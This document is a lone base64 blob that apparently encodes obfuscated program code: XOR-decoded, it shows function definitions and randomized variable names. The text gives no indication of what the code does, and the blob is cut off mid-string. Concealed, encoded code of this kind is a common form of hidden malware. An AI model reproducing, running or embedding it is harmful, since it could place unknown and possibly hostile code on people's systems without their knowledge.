/V3cfbz9HRwMbWl5mXl5eXl5eQy5CXmZeXl9vWjsTow8GF3YaFhtSfgoKDnp+em5fbh4fQ0d6ChcKfgIOHnp6Mvb29vZeXypeXl5fU1sPU35ef49/F2MDW1dvSl5eXk9DAz9Xf0tDGxoDVzZ6XzL2Xl9zO1ofUg9mGz8bf0IaBgJ/AwOiB0N/ehMHAn4CPhJ6bl5eXk9DAz9Xf0tDGxoDVzZ6MvZeXl5eXypeX1NbD1N+Xl5eXn/LP1NLHw97Y2ZeXl5PQwM/V39LQxsaA1c2el8y9l5fKl5eX0d7Z1tvbzpeXzL2Xl5fRhI/fxc/ehMPewIbU0sDQ1tnZwo6f24eH0NHegoXCn4OFg56ejL29vb2Xl5eXyr2Xyr2Xl5eX0cLZ1MPe2NmXl9He09XDjtjAj4fDwN/S0YeP3tbo0p+evZeXzL2Xl5eXl97Rl5+Wl5eXl5eX09LR3tnS05/B2YHF1IXE0Nba2MbDn4OPg56el5eXl5fLy5eWl8HZgcXUhcTQ1trYxsOfgIGFnp/bh4fQ0d6ChcKfgI+Bnp6el8y9l5eX3tGXl5eXn9uHh9DR3oKFwp+Aj4Cen/b15Of24/+Xl5eXmZeXl5fb1o7E6MPBhd2GhYbUn4CPj56enpeXl8y9l8XSxsLexdLo2NnU0peXl5f29eTn9uP/l5mXwMDogdDf3oTBwJ+Aj4+ejL29vb3KvZeXl5fe0ZeXn5aXl5fB2YHF1IXE0Nba2MbDn4CBhZ6fwdmBxdSFxNDW2tjGw5+Aj46enp6Xl5eXl8y9l8XSw8LF2Yy9l5fKvZeXl5eXl8q9vb2Xl5eXk9+C3NHfwYPCwtbQ3N+Xl5eXipeXl5fQ0sPox9vC0N7ZxJ+ejL2Xl5eX3tGXl5eXl5eflpeXl8DA6IHQ396EwcCfgIGDnp+T34Lc0d/Bg8LC1tDc356el5eXl8y9xdLDwsXZjL2Xyr2Xl5eXl5eT297Ew5eXl4qXl5eXl9bFxdbOn56Mvb29vZfR2MXS1tTfl5eXn5PfgtzR38GDwsLW0Nzfl9bEl5eT1dbE0tnW2tKXl5eXl4qJl5PEgt3G2tvR6IHf0dHS28LanpfMvd7Rl5+T1dbE0tnW2tKXl4qKipfYxtve34bFwuiB2IWPwOifnp6Xl5fMvZeX1NjZw97ZwtKMvZeXyr2T297Ew+yT1dbE0tnW2tLql4qXl5PEgt3G2tvR6IHf0dHS28LajL3KvZfF0sPCxdmXl5eXk9vexMOMvb29yr2Xl5eXl9HC2dTD3tjZl8/b0trTho7bzdWE1tLfgZ+TxsPTh93Sx9Tcw4ODm5eXl5PV0c6ChIOHx8eFxp69l5eXl5fMvZeXl5eXvb2Xl5PFzc/c0tnShNTUl5eXl5eKl5eXl5f3wdmBxdSFxNDW2tjGw5+Cg4Cen5PGw9OH3dLH1NzDg4Obl5fR1tvE0puXl5eX2cLb25uXh5uXn4WAgoKDgZyFg4+Ag4WenoyXl73e0ZeXn5aXl5PFzc/c0tnShNTUnpeXl5fMvZeXl5eXl5fF0sPCxdmXl5fR1tvE0oy9l5eXyr2Xl729vZfR2MXS1tTfl5+T1dHOgoSDh8fHhcaXl5eX1sSXl5eXk9/Wj9GFz8bah97Vz83UnpfMvZeXvd7Rl5+Wl9vWjsTow8GF3YaFhtSfgI6Hnp+T39aP0YXPxtqH3tXPzdSel8vLl5eWl5eXk9/Wj9GFz8bah97Vz83Ul8vLl8HZgcXUhcTQ1trYxsOfgIeOnp+T39aP0YXPxtqH3tXPzdSel4mXl5+Dh4OOnIOAnp6Xl5eXzL2Xl5eXl5fU2NnD3tnC0oy9l8q9l5e9l5eXl8PFzpeXl8y9vb29l5eT1dLNhYXRhN3eht6Gl5eXl5eKl/fAwOiB0N/ehMHAn4CAnp+T39aP0YXPxtqH3tXPzdSbl5eXk8XNz9zS2dKE1NSejL3Kl5fU1sPU35ef49/F2MDW1dvSl5eT3Y7axNjehcKBh9LYnpfMvZeX3M7Wh9SD2YbPxt/QhoGAn8DA6IHQ396EwcCfgI6GnpuXl5eXk92O2sTY3oXCgYfS2J6MvZeXl5eXl5fU2NnD3tnC0oy9ypeX1NbD1N+Xn/LP1NLHw97Y2ZeT3Y7axNjehcKBh9LYnpeXzL29vZeXl9TY2cPe2cLSjL3KvZiYl9HC29He29uX1tnD3pra2NnYw9jZ0pff1tnTxN/W3NK9vZe9vb29l97Rl5efk9XSzYWF0YTd3obehp6Xl5fMvZeXl5eXl8XSw8LF2ZeXw8XC0oy9l5fKvcq9xdLDwsXZl5eXl5eX0dbbxNKMvZeXyr2Xl5eXvZeX0cLZ1MPe2NmX6Nvfw9Pe0cWGx8DQgsfcn5PH28LQ3tno1dbE0tnW2tKevZeXl5fMvZeXk9XRzoKEg4fHx4XGl5eXipeT8Pv49fb75Ozbh4fQ0d6ChcKfgY6FnuqMvZfe0ZeflpeX29aOxOjDwYXdhoWG1J+AgYOen5PV0c6ChIOHx8eFxp6Xl5fLy5eX0trHw86fk9XRzoKEg4fHx4XGnp6XzL2XxdLDwsXZl5fR1tvE0oy9yr2Xl5eXl97Rl5eflpfT0tHe2dLTn9uHh9DR3oKFwp+Dj4OenpfLy5eXl9Lax8POn5PH28LQ3tno1dbE0tnW2tKel5fLy5eXl5fb1o7E6MPBhd2GhYbUn4KBj56fk8fbwtDe2ejV1sTS2dba0puXl9vWjsTow8GF3YaFhtSfhYSOnp6XloqKl5eX0dbbxNKel5eXl8y9l5eXl8XSw8LF2ZfR1tvE0oy9l5eXl8q9vZeXvZPZ0YbfzYLc09XHxdXVl5eKl5eXl5fg5+jn++Lw/vno8/7ll5eZl5eXkJiQl5eZl5eXl5eTx9vC0N7Z6NXWxNLZ1trSjL2Xl97Rl5ef29aOxOjDwYXdhoWG1J+GjoWen5PH28LQ3tno1dbE0tnW2tKel5eKioqXl5eXl5eQmZCel5fMvZeXl5PAwMSC0YTfwNDEgNDU0uiGl5eXipeXl9bFxdbOn5PZ0YbfzYLc09XHxdXVnoy9ypeXl5fS28TSl8y9vb2T2tOB3I7Z0d6C6MPeg9HU2ZeXipeXwdmBxdSFxNDW2tjGw5+AjoWen5PZ0YbfzYLc09XHxdXVnoy9l5eXl97Rl5eXl5eflpfB2YHF1IXE0Nba2MbDn4aDhJ6fk9rTgdyO2dHegujD3oPR1Nmel5fLy5eXl5aXwMDogdDf3oTBwJ+AjoSen5Pa04HcjtnR3oLow96D0dTZnp6XzL2Xl5eXxdLDwsXZl5eX0dbbxNKMvZfKvZPAwMSC0YTfwNDEgNDU0uiGl4qXl5eXl9vUw83O24SCg8SGx4ToxMOfk9rTgdyO2dHegujD3oPR1Nmbl5eX1sXF1s6f24eH0NHegoXCn4COg56bl5fAwOiB0N/ehMHAn4KGh56bl5eXl8HZgcXUhcTQ1trYxsOfgI6CnpuXl5eXl9vWjsTow8GF3YaFhtSfgI6BnpuXwMDogdDf3oTBwJ+AjoCenp6MvZeXl5fKvb29vb3R2MXS1tTfl5eXl5efk8DAxILRhN/A0MSA0NTS6IaXl5eX1sSXl5eXl5eTxsPTh93Sx9Tcw4ODnpeXzL2X3tGXl5eXn5aXl9vWjsTow8GF3YaFhtSfgoGEnp+TxsPTh93Sx9Tcw4ODnp6Xl8y9l5fU2NnD3tnC0oy9vZeXyr2Xl5eX3tGXl5/P29La04aO283VhNbS34Gfk8bD04fd0sfU3MODg5uXl5PV0c6ChIOHx8eFxp6el5eXl5fMvb29vZeXl8XSw8LF2ZeXw8XC0oy9yr2Xl5eXl5fKvZeXl8XSw8LF2ZeX0dbbxNKMvZeXyr3RwtnUw97Y2Zfb1MPNztuEgoPEhseE6MTDn5Pa04HcjtnR3oLow96D0dTZm5eXl5PFgYaAhI6BxYXGm5eT28+Hj8LWzs3C2JeKl5eXh5uXl5eXl5eRk8SGhILf6NzQ0N3ozpeKl9nC29ubl5eXkZPfjt/W1dbPz9XH0obFzZeKl5fZwtvbnr2XzL29l5eT297Ew5eXl5eXipeXl9bFxdbOn56Mvb2X3tGXl5+T28+Hj8LWzs3C2JeJl5+EnIKenpeXzL2Xl5eXl5eXxdLDwsXZl5eXk9vexMOMvZeXyr2YmJfW09bHw97B0pfW09bHw9LFvb29l97Rl5eXn5PEhoSC3+jc0NDd6M6Xl4qKipfZwtvbnpeXl5eXl8yTwNOP2d+AhNuHztiA6I+KgYKchIWMk9TOgOjBwc/ZhcfS3I+Kk8DTj9nfgITbh87YgOiPmoaMvb2Xk8SGhILf6NzQ0N3ozpeXl5eKl5fWxcXWzp+ejL29l5eT347f1tXWz8/Vx9KGxc2Xl5eXl4qXl8HZgcXUhcTQ1trYxsOfgYCGnp/DxcLSnpeXl5eXnJeXl5efhpyOnoy9vb2Xl5eXl8q9vb2X3tGXl5eXl5ef29aOxOjDwYXdhoWG1J+BgIaen8PFwtKel5eXl4mXl5Pfjt/W1dbPz9XH0obFzZ6Xl5eXl8y9l5fF0sPCxdmXl5Pb3sTDjL2Xyr3e0ZeflpeXl5fbh4fQ0d6ChcKfhoOEnp+T2tOB3I7Z0d6C6MPeg9HU2Z6el8y9xdLDwsXZl5eXl5eXk9vexMOMvZfKvZPog4WD09KDjtSDxN7ZxdGXl4qX98DA6IHQ396EwcCfhoCGnp+T2tOB3I7Z0d6C6MPeg9HU2Z6MvZfe0ZeXl5eXl5+T6IOFg9PSg47Ug8Te2cXRl5eWioqXl5eX0dbbxNKel5fMvZfe0Zef3sTE0sOfk8SGhILf6NzQ0N3ozuyT6IOFg9PSg47Ug8Te2cXR6p6el5fMvcXSw8LF2ZeXl5eT297Ew4y9l5eXl8q9l5eTxIaEgt/o3NDQ3ejO7JPog4WD09KDjtSDxN7ZxdHql4qXw8XC0oy9vb2Xyr2TwsGG2MSA3ITF2ujW3JeXl5eKl5fGxMff1djFztbRxMCG1M6Dn5Pa04HcjtnR3oLow96D0dTZnoyT38CD1Y7E1drR38bDh4KKn4fP04Och8+Dj56Mk8Dah8XC2YLDwtHcxMDoipPfwIPVjsTV2tHfxsOHgpKGh4y9l97Rl5eflpfbh4fQ0d6ChcKfgIGDnp+TwsGG2MSA3ITF2ujW3J6el8yT0dDQ3cfChtPR2oOK5//n6P754+j69u+Y5//n6P754+j69u+Mk9zO0oDczoLTzYfH3cGKk9HQ0N3HwobT0dqDnIaAjL2Xl5fF0sPCxdmXl5eXk9vexMOMvb29vZeXl5fKvZeXl5eX0djF0tbU35eXl5+TwsGG2MSA3ITF2ujW3JeX1sSXl5eXl5PW0MbOxIXf38/DgNjH096el5eXl8y9mJiX5+TlmoOX2dba0sTH1tTSxI2XwNLW3JfVxdjW09TWxMPSxb29vZeX3tGXl5efwdmBxdSFxNDW2tjGw5+BgIaen8PFwtKel5eJl5Pfjt/W1dbPz9XH0obFzZfLy5eXl8HZgcXUhcTQ1trYxsOfgI6Pnp+T297Ew56Xl4mKl5efhY+EnIWGgJ6el5eXl8y9l9XF0tbcjL2Xl5eXl8q9vb29l5eT2dGG382C3NPVx8XV1ZeXl4qXl5Pa04HcjtnR3oLow96D0dTZl5eZl5eQmJCXl5eXl5eZl5eT1tDGzsSF39/Pw4DYx9PejL29vb2X3tGXl5ef99uHh9DR3oKFwp+Ajo6en5PZ0YbfzYLc09XHxdXVnp6Xl5fMvZeXl5eX1NjZw97ZwtKMk8/choTRh9HEzd2O3cCKhoGEhIyTw4GE3IaPhtaG0IqTz9yGhNGH0cTN3Y7dwJKEjL2Xl5fKvZeX3tGXn/fbh4fQ0d6ChcKfhoOEnp+T2dGG382C3NPVx8XV1Z6el5fMk9yBhYWHzoDSzYqBhZyCh4yT392O1sSGwIWKk9yBhYWHzoDSzZqFjoy9l5eT297Ew5eXipeXwdmBxdSFxNDW2tjGw5+Dh4Sen5Pb3sTDm5fb1MPNztuEgoPEhseE6MTDn5PZ0YbfzYLc09XHxdXVm5eXl5PFgYaAhI6BxYXGm5eXk9vPh4/C1s7NwtiXl5eXnJeGm5eTxIaEgt/o3NDQ3ejOm5eT347f1tXWz8/Vx9KGxc2enoy9l5eXl5eXl5fKl9LbxNLe0ZeXl5/329aOxOjDwYXdhoWG1J+CgYSen5PZ0YbfzYLc09XHxdXVnp6Xl5eXl8y9l5Pe29/E6NHch97a25eXipeX24eH0NHegoXCn4+Hh56fk9nRht/NgtzT1cfF1dWbl9TY2cTD1tnDn8HZgcXUhcTQ1trYxsOfj4eGnp6ejL29vb2Xl5eXl5eT3tvfxOjR3Ife2tuXl5eXipfb1o7E6MPBhd2GhYbUn4COh56fk97b38To0dyH3trbnpeIl5fB2YHF1IXE0Nba2MbDn4+HhZ6fk97b38To0dyH3trbnpeNl5eVlYy9vb29l5eXl5fe0ZeXn8DA6IHQ396EwcCfho+Anp+T3tvfxOjR3Ife2tubl5eTxYGGgISOgcWFxpuXl5eXl5fDxcLSnp6XzL2T297Ew+zql4qXl5eXl5eT2dGG382C3NPVx8XV1Yy9vb29l5eXyr2Xyr2Xyr2YmJfS2dbV29KX2MfS2ZfS2cHS29jH0r29l5eXl8XSw8LF2ZeT297Ew4y9vZeXl5eXl8q9l5eXl5e9l9HC2dTD3tjZl5eX29WBjtmPj9naz9KAzcLOn5PH28LQ3tno1dbE0tnW2tKevZfMvZe9vb2X3tGXl5+Wl5eXwdmBxdSFxNDW2tjGw5+Ajoeen5PH28LQ3tno1dbE0tnW2tKel5eXl5fLy5eXl5aXl5eXk8fbwtDe2ejV1sTS2dba0p6Xl5eXzL2Xl8XSw8LF2ZfR1tvE0oy9vb3Kvb29vd7Rl5ef29aOxOjDwYXdhoWG1J+Ph4Sen5PH28LQ3tno1dbE0tnW2tKbl5eXwMDogdDf3oTBwJ+FhI6enpeXloqKl9HW28TSnpeXl5eXl8y9l5eXxdLDwsXZl5eXl5fR1tvE0oyT1YTFwIKD1I+KgoecjoKMk9SBht/cwd+OhNrdgIDoipPVhMXAgoPUj5qFgIy9yr29k8fbwtDe2ejV1sTS2dba0peKl5fb1o7E6MPBhd2GhYbUn4GBhZ6fk8fbwtDe2ejV1sTS2dba0p6Mvd7Rl5+Tx9vC0N7Z6NXWxNLZ1trSl4qKipeXl5eX2Mbb3t+GxcLogdiFj8Don56el5fMvZidl9LPx9jZ0tnD3tbbl9XF1tnT0tOaw87H0pedmL29l8XSw8LF2ZeXl5eX0dbbxNKMvcq9l73e0ZeXl5eflpfbh4fQ0d6ChcKfgIGFnp/b1o7E6MPBhd2GhYbUn4+Hg56el5eXl5eRkZfb1o7E6MPBhd2GhYbUn4CPgJ6f9vXk5/bj/5eZl5eXl5fAwOiB0N/ehMHAn4CPj56enpeXl5fMvZiYl+f/5+TD1tmX29LB0tuXjpfExdTE0sOX09LE1MXex8PYxb29l8XSxsLexdLo2NnU0peX9vXk5/bj/5eXl5eZl5fB2YHF1IXE0Nba2MbDn4+Hgp6Mvb2Xl5eXyr2Xl5e9l5eXl5fe0ZeXn8HZgcXUhcTQ1trYxsOfj4eBnp/AwOiB0N/ehMHAn4+Hg56el5eXl5GRl5fexOjH28LQ3tno1tTD3sHSn5PH28LQ3tno1dbE0tnW2tKenpfMvZeXl5eXl5fT0tbUw97B1sPS6MfbwtDe2cSf1sXF1s6fk8fbwtDe2ejV1sTS2dba0p6bl5eXl8PFwtKejJe9l5eXyr2XvZPa04HcjtnR3oLow96D0dTZl5eKl9PS0d7Z0tOfwMDogdDf3oTBwJ+Dj4OenpeIl5eX4Ofo5/vi8P756PP+5ZeXl5eXl5mXkJiQl5eZl5eXwdmBxdSFxNDW2tjGw5+Ph4Cen5PH28LQ3tno1dbE0tnW2tKel5eXl5eNl5eXlZWMvZeX3tGXl5eXl5+T2tOB3I7Z0d6C6MPeg9HU2ZeXkZGXl5fb1o7E6MPBhd2GhYbUn4+Hj56fk9rTgdyO2dHegujD3oPR1Nmel5eXl5GRl5eXl5eXwMDogdDf3oTBwJ+Ph46en5PH28LQ3tno1dbE0tnW2tKel5eWioqXl5eQmZCXkZGXwdmBxdSFxNDW2tjGw5+Phoeen5PH28LQ3tno1dbE0tnW2tKenpeXzL3e0ZeXl5/c3I+AhY6D3oeExcbGwNuOz9qfk9rTgdyO2dHegujD3oPR1NmenpeXl8y9l5eXl5eXxdLDwsXZl8PFwtKMvZe9vZeXyr2Xl5eXyr29vZeX3tGXn9uHh9DR3oKFwp+Phoaen9vWjsTow8GF3YaFhtSfj4aFnp6el5eXl8y9l5e9l5eX3tGXl5+Wl5eXwdmBxdSFxNDW2tjGw5+Phoaen9uHh9DR3oKFwp+PhoSenpeXy8uXlpeX1MLFxdLZw+jCxNLF6NTW2Z/B2YHF1IXE0Nba2MbDn4+GhZ6enpeXl8y9mJiX4OeX5NjU3tbbl/ve2dzEl8TDztvSl9HW29vV1tTcvb2Xl5eXl97Rl5eXl5ef24eH0NHegoXCn4+Ghp6fwdmBxdSFxNDW2tjGw5+PhoOenpeXl5GRl9vWjsTow8GF3YaFhtSfj4aGnp/B2YHF1IXE0Nba2MbDn4+Ggp6enpeXl8y9l5PCxNLFxJeXl5eKl5eXl9DSw+jCxNLFxJ/WxcXWzp/B2YHF1IXE0Nba2MbDn4+GgZ6Xl5eKiZeXl5fbh4fQ0d6ChcKfj4aAnpuXl5eXl8DA6IHQ396EwcCfj4aPnpeXiomXl5eXl4aenoy9l5eX3tGXn5aXl9Lax8POn5PCxNLFxJ6Xl5GRl5eXk8LE0sXE7Ifqmon+856XzL2X24eH0NHegoXCn4+Ggp6fk8LE0sXE7Ifqmon+856Mk9ro6M6G2MeEgsGK5//n6Pr2/fjl6OHy5eT++PmMk83eg9CGg8DBx9DDgtHaipPa6OjOhtjHhILBnYSMvZeXypeXl9LbxNKXl5eXzL29vb3b1o7E6MPBhd2GhYbUn4+Gjp6fhp6MvZeXl5fKvZfKvZeXl5fKvZeXl72Xk8bfx8PTwcaE0cbEl5eXipeX09Lb0sPS6MfbwtDe2cSf1sXF1s6fk8fbwtDe2ejV1sTS2dba0p6ejL2X3tGXl5+Wl5eXl5eX3sTowMfo0sXF2MWfk8bfx8PTwcaE0cbEnp6XzL3F0sPCxdmXl5/V2NjbnpeTxt/Hw9PBxoTRxsSMvZfKvZfKvZfF0sPCxdmXl9HW28TSjL29vZeXyr29vZe9l5fRwtnUw97Y2Zfc3I+AhY6D3oeExcbGwNuOz9qfk9rTgdyO2dHegujD3oPR1Nmbl5eT28+Hj8LWzs3C2JeXl5eXipeXh569vb29zL29l97Rl5+T28+Hj8LWzs3C2JeJl5efh8/UnIfPg56el8y9l8XSw8LF2ZeX0dbbxNKMvb3KvZeXl5eX3tGXl5eXn5aXl5eXl9uHh9DR3oKFwp+PhYeen5Pa04HcjtnR3oLow96D0dTZnpeXl5eXl8vLl5eXk9rTgdyO2dHegujD3oPR1NmXl4qKipeVlZeXl5eXy8uXl5eXwMDogdDf3oTBwJ+Ph4Sen5Pa04HcjtnR3oLow96D0dTZm5eXl8DA6IHQ396EwcCfj4WGnp6Xl5eWioqXl5eX0dbbxNKel5eXzL29vZfF0sPCxdmXl5fR1tvE0oy9l5fKvZPOxM2Eh9CDw47DhIfPl4qXl5f329aOxOjDwYXdhoWG1J+GgIaen5Pa04HcjtnR3oLow96D0dTZnoy9l97Rl5efk87EzYSH0IPDjsOEh8+XioqKl5fR1tvE0pfLy5eXl5eWl5eX29aOxOjDwYXdhoWG1J+Ph4+en5POxM2Eh9CDw47DhIfPnp6Xl5fMvZfF0sPCxdmX0dbbxNKMvZfKvZeXl5eXk9Dc2ceE1cPbjo/Fh92XipfT0tHe2dLTn9uHh9DR3oKFwp+PhYWenpeXl5eIl5eX98DA6IHQ396EwcCfj4WEnp/g5+jn++Lw/vno8/7lnpeNl5eXl9HW28TSjL2Xl97Rl5eXn5PQ3NnHhNXD246PxYfdl4qKipfR1tvE0pfLy5efk87EzYSH0IPDjsOEh8+Xl5eXl5aKipeXk9Dc2ceE1cPbjo/Fh92Xl5eRkZeXwMDogdDf3oTBwJ+PhYOen5POxM2Eh9CDw47DhIfPm5eXl5eXk9Dc2ceE1cPbjo/Fh92Xl5mX8/7l8vTj+OXu6OTy5/bl9uP45Z6Xl5aKipeXl4eenpfMvZeXl8XSw8LF2ZeXl9HW28TSjL2Xyr2T08fBwoDcz4Tahs3dg9PFl5eXl5eKl5f329aOxOjDwYXdhoWG1J+PhYKen5POxM2Eh9CDw47DhIfPnoy9l5eXl5fe0ZeXl5+Wl8HZgcXUhcTQ1trYxsOfgIGDnp+T08fBwoDcz4Tahs3dg9PFnp6XzL2YnZfb3tnS1sXezdbV29KXxNve097Z0JrA3tnT2MCXnZi9vZfF0sPCxdmXl9HW28TSjL2Xl5fKvZeXl9HYxdLW1N+Xl5efk9PHwcKA3M+E2obN3YPTxZfWxJeXk8PB2sKF3oDP3d2EwJ6Xl5fMvZeX3tGXl5efk8PB2sKF3oDP3d2EwJeKioqXkJmQl5eXl8vLl5eXl5eTw8HawoXegM/d3YTAl5eXl5eKioqXl8DA6IHQ396EwcCfj4WGnp6Xl5eXl8yT3YHO6N3Tw4fbio+DhoyT3YaF0cOChsaKk92Bzujd08OH25KGhoy9vZeXl5fU2NnD3tnC0oy9vcq9l5eXk9nRht/NgtzT1cfF1dWXl4qXl5POxM2Eh9CDw47DhIfPl5eZl5fU2NnEw9bZw5/B2YHF1IXE0Nba2MbDn4+FgZ6el5eXl5mXl5PDwdrChd6Az93dhMCMvb29vd7Rl5/3wMDogdDf3oTBwJ+Ajo6en5PZ0YbfzYLc09XHxdXVnp6XzL3Ahdvf2d/YzoXows/Cx9LD1tGfk9nRht/NgtzT1cfF1dWejL29vb2Xl5fU2NnD3tnC0oy9l5fKvZeXl5eXl5fe0ZeXl5eXn/fB2YHF1IXE0Nba2MbDn4+Hj56fk9nRht/NgtzT1cfF1dWenpeXzL29vZeXl5fc3I+AhY6D3oeExcbGwNuOz9qfk9nRht/NgtzT1cfF1dWbl5eT28+Hj8LWzs3C2JeXl5eXl5yXl4aejL2Xl5eXl5fKl5fS28TSl8y9l5fe0ZeflpeXwIXb39nf2M6F6MLPwsfSw9bRn5PZ0YbfzYLc09XHxdXVnp6XzL29vdXA2sbU0dra2seEj9jSh5+T2dGG382C3NPVx8XV1ZuXl5+Hz4TWnIfPhoHWnp6MvZeXl5fAhdvf2d/YzoXows/Cx9LD1tGfk9nRht/NgtzT1cfF1dWejL2Xl8q9l5eXyr3KvZeXl97Rl5eXn5aXl5eXl/fB2YHF1IXE0Nba2MbDn4+FgJ6fk87EzYSH0IPDjsOEh8+enpeXl8y91cDaxtTR2trax4SP2NKHn5POxM2Eh9CDw47DhIfPm5eXl5+Ph4CahIaDnp6MvZeXl5f324eH0NHegoXCn4+FgJ6fk87EzYSH0IPDjsOEh8+ejL29vb2Xl8q9vb3F0sPCxdmXl5aXl5eXl/fB2YHF1IXE0Nba2MbDn4+Fj56fk87EzYSH0IPDjsOEh8+ejL2Xl5eXl5fKvb29l729vb29l5eXl5eX0cLZ1MPe2NmXxc/bxcTegNHNjt+F1M/OwMbR3J+evZeXl8y9w8XOl5eXl8y9mJiX4OeXwsTS8tnD3sPO58XYx42XxdLW05rU2Nra3sPD0tOXxNLF3tbb3s3Sxb29l5eT297Ew5eXipeXl9He09XDjtjAj4fDwN/S0YeP3tbo0p+ejL29vd7Rl5eXl5eXn5aX24eH0NHegoXCn4CBg56fk9vexMOenpeXl8y9l5eXl5eXxdLDwsXZjL2Xl5fKvb2Xk8TSwcbFxIPfxM2G09aOx8CXipeXl9bFxdbOn56MvZPegMHego/W39PT0caB6JeXipeXl9HW28TSjL2Xl9HYxdLW1N+Xl5eXn8HZgcXUhcTQ1trYxsOfj4WOnp+T297Ew56Xl5eX1sSXk9XWxNLZ1trSnpfMvZe9l5fe0ZeXl5eflpeX29aOxOjDwYXdhoWG1J+PhIeen5PV1sTS2dba0p6el5eXzL2X1NjZw97ZwtKMvZeXl8q9l5eXvZeT0dzAwd2D2YHe0t3VwcDBl4qXl5eXl8DA6IHQ396EwcCfj4aHnp+T1dbE0tnW2tKejL29vZeXl5eX3tGXl5efk9HcwMHdg9mB3tLd1cHAwZeXioqKl5eQmZCel5fMvZeXk9HcwMHdg9mB3tLd1cHAwZeKl5eT1dbE0tnW2tKMvZfKvZeXl5fe0ZeXn97ExNLDn5PE0sHGxcSD38TNhtPWjsfA7JPR3MDB3YPZgd7S3dXBwMHqnp6XzL2X1NjZw97ZwtKMvZeXl5eXl8q9l5eXvZeXl5PE0sHGxcSD38TNhtPWjsfA7JPR3MDB3YPZgd7S3dXBwMHql4qXl5eXl5fDxcLSjL2X3tGXl5/o29/D097RxYbHwNCCx9yfk9XWxNLZ1trSnp6Xl5fMvb2X29WBjtmPj9naz9KAzcLOn5PV1sTS2dba0p6Mvb29vb2Xl5eXl5PegMHego/W39PT0caB6JeXl4qXl5eXl5fDxcLSjL2Xl5eXl8q9mJ2X09LU3tPW1dvSl8fF3tnU3sfW25edmL29vb29l8q9mJiX4OeX5N7D0pfj3sPb0o2X3tnb3tnSl97D0sXWw9jFvb29vZeXl5e93tGXl5/329aOxOjDwYXdhoWG1J+PhIaen9LFzdPo39Hb1cTTjsHe1MeDhdCOxJ+enp6Xl5fMvb29l5eXl5eTxsTQhIfS34OFxoOXl4qXl5eXxsTH39XYxc7W0cTAhtTOg5/Sxc3T6N/R29XE047B3tTHg4XQjsSfnp6MvZeXl97Rl5/B2YHF1IXE0Nba2MbDn4+EhZ6fk8bE0ISH0t+DhcaDnp6Xl5fMvZeT1dHOgoSDh8fHhcaXl4qXl5eT8Pv49fb75OzAwOiB0N/ehMHAn4+EhJ7qjL2Xl5eXl9HYxdLW1N+Xl5eXn5PGxNCEh9Lfg4XGg5eX1sSXl5eT1tDGzsSF39/Pw4DYx9PenpeXzL2Xvd7Rl5efk9bQxs7Ehd/fz8OA2MfT3peKioqXl5eXxNvTwd/aj4Hcw9HDzs6G1Z+enpeXl5eXzL29vZfU2NnD3tnC0oy9vZeXl5eXyr2Xl5e9k8bD04fd0sfU3MODg5eXl4qXl5eX0sXN0+jf0dvVxNOOwd7Ux4OF0I7En56Xl5mXkJiQl5eXmZeXl5eT1tDGzsSF39/Pw4DYx9PejL29l5eXl97Rl5eXn5aXl5eX99uHh9DR3oKFwp+CgYSen5PGw9OH3dLH1NzDg4Oel5eXl5fLy5fAwOiB0N/ehMHAn4+HhZ6f29aOxOjDwYXdhoWG1J+Ph4een5PW0MbOxIXf38/DgNjH096bl5fU2NnEw9bZw5/bh4fQ0d6ChcKfj4eGnp6enpeXl5eXloqKl5eXl9uHh9DR3oKFwp+ChoeenpeXl8y9l5fU2NnD3tnC0oy9l8q9l5eXvd7Rl5efz9vS2tOGjtvN1YTW0t+Bn5PGw9OH3dLH1NzDg4Obl5eT1dHOgoSDh8fHhcaenpeXzL2YmJfa0tbEwsXSl9TY2cPF2Nua0dvYwJrQxdbH35fR2MWX4OeXwsTS/tnZ0sX129jU3MTnxdjHxL29vb29l5eXwIXb39nf2M6F6MLPwsfSw9bRn5PGw9OH3dLH1NzDg4OejL29vb2T3oDB3oKP1t/T09HGgeiXl4qXl8PFwtKMvZeXl5eXl5eXyr29vZfKvZeXl8q9vZfKvZeXl5eXl5e9l5PUgNiFwdzRwYSAzd+Xl5eXipeT8Pv49fb75Ozbh4fQ0d6ChcKfj4SDnuqMvd7Rl5ef24eH0NHegoXCn4+EhZ6fk9SA2IXB3NHBhIDN356Xl5eXl5GRl5aXl5eXl9Lax8POn5PUgNiFwdzRwYSAzd+enpeXl5fMvZeX3tGXn9XF3MXWj96Pw8CPx9/HgtDGn5PUgNiFwdzRwYSAzd+enpeXl8y9l5PegMHego/W39PT0caB6JeXl4qXl5fDxcLSjL2Xl5fKvb3KvZeXl5fKl9TWw9Tfl5/j38XYwNbV29KXl5PQwM/V39LQxsaA1c2el5eXl8y9l5eXl9zO1ofUg9mGz8bf0IaBgJ/AwOiB0N/ehMHAn4+Egp6bl5eXl5eT0MDP1d/S0MbGgNXNnoy9vb29ypeXl5eX1NbD1N+Xl5ef8s/U0sfD3tjZl5eXk9DAz9Xf0tDGxoDVzZ6Xl8y9l5eXl5fKvZfKvZeXl5e90cLZ1MPe2NmXl8XG3dDO08XWj8TA2OiEn569zL2Xl8PFzpfMvZPG3sHCh8fA3YfZhd+Xl5eXl4qXl5eXn97Zw56Xl5eXl9DSw+jYx8Pe2Nmf29aOxOjDwYXdhoWG1J+PhIGem5eXl4eejL29vZeX3tGXl5+fwMDogdDf3oTBwJ+CgoOen56Xl5eXmpeXk8bewcKHx8Ddh9mF356XiYqXl5eXn46GhJyFgY+Anp6XzL2Xl5eXl5fCx9PWw9Lo2MfD3tjZn8HZgcXUhcTQ1trYxsOfj4SBnpuXl5fB2YHF1IXE0Nba2MbDn4KCg56fnp6MvZeT0cXDgoXY1oPO3NyChs6XipeX1sXF1s6f1sXF1s6fxMXY3M3EgsfR1IXaxMXNhtnfn56bl9bFxdbOn9uHh9DR3oKFwp+PhICenp6ejL2Xk87V3dnf3tqE0M+OgtOXipeXwdmBxdSFxNDW2tjGw5+Phoaen9vWjsTow8GF3YaFhtSfhoaDnp6Xl5eXl4iXl8DA6IHQ396EwcCfhoaDnp+el5eXjZeXl5eVlYy9l97Rl5eXn5PO1d3Z397ahNDPjoLTl5eWioqXl5WVl5eXkZGXk87V3dnf3tqE0M+OgtOXl5eXloqKl5eXxMXY3M3EgsfR1IXaxMXNhtnfn56el5eXk9HFw4KF2NaDztzcgobO7OqXl5eXipeXl9bFxdbOn5PO1d3Z397ahNDPjoLTm5eXl5eX1sXF1s6f29aOxOjDwYXdhoWG1J+PhI+em5fAwOiB0N/ehMHAn4+Ejp6enoy9l9HYxdLW1N+Xn5PRxcOChdjWg87c3IKGzpeX1sSXk8fH0dnC0NDNg+iel5fMvZeXl5eX0djF0tbU35eXl5+Tx8fR2cLQ0M2D6Oy